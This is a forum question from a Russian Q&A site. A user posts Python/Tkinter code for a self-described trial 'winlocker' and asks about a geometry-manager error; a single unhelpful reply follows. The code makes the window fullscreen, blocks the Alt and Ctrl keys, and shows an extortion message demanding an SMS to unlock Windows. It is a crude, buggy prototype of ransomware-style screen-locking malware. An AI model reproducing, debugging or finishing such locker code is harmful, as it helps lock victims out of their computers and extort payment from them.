Top.Mail.Ru
Ответы

Python Tk или Tkinter

Я создаю ПРОБНЫЙ winlocker, ПРОШУ НЕ ОСУЖДАТЬ. я делаю его с целью понять как это всё работает... Так вот

Я создал такой код:
import os
from tkinter import *
from tkinter import ttk
import keyboard
from win32api import GetSystemMetrics

width = GetSystemMetrics(0)
height = GetSystemMetrics(1)

root = Tk()

root.attributes("-fullscreen", True)

root.configure(bg='aquamarine')

keyboard.block_key('alt')

keyboard.block_key('ctrl')

def off():
root.destroy()


Label(root, text='Ваш WINDOWS заблокирован', font='PAPYRUS 30', bg='aquamarine').grid(row=0)
Label(root, text='Для разблокировки необходимо отправить смс с текстом', font='Times 20', bg='aquamarine').grid(row=height//3, column=width//2)
Label(root, text='PrePorSmS', font='Times 20', bg='aquamarine').grid(row=width//2, column=height-120)
entry = ttk.Entry(show='*')
entry.pack()
Button(root, text='проверить', command=off).grid(row=width, column=height)

root.mainloop()

Вроде бы всё норм но выводиться такая ошибка:

Traceback (most recent call last):
File "C:\Users\artem\GaReTry.py", line 28, in <module>
entry.pack()
File "C:\Users\artem\AppData\Local\Programs\Python\Python39-32\lib\tkinter\__init__.py", line 2389, in pack_configure
self.tk.call (
_tkinter.TclError: cannot use geometry manager pack inside . which already has slaves managed by grid

PYTHON 3.9

Только авторизированные пользователи могут оставлять свои ответы
Дата
Популярность
Аватар пользователя

ну значит у тебя ошибка в 28 строчке в модуле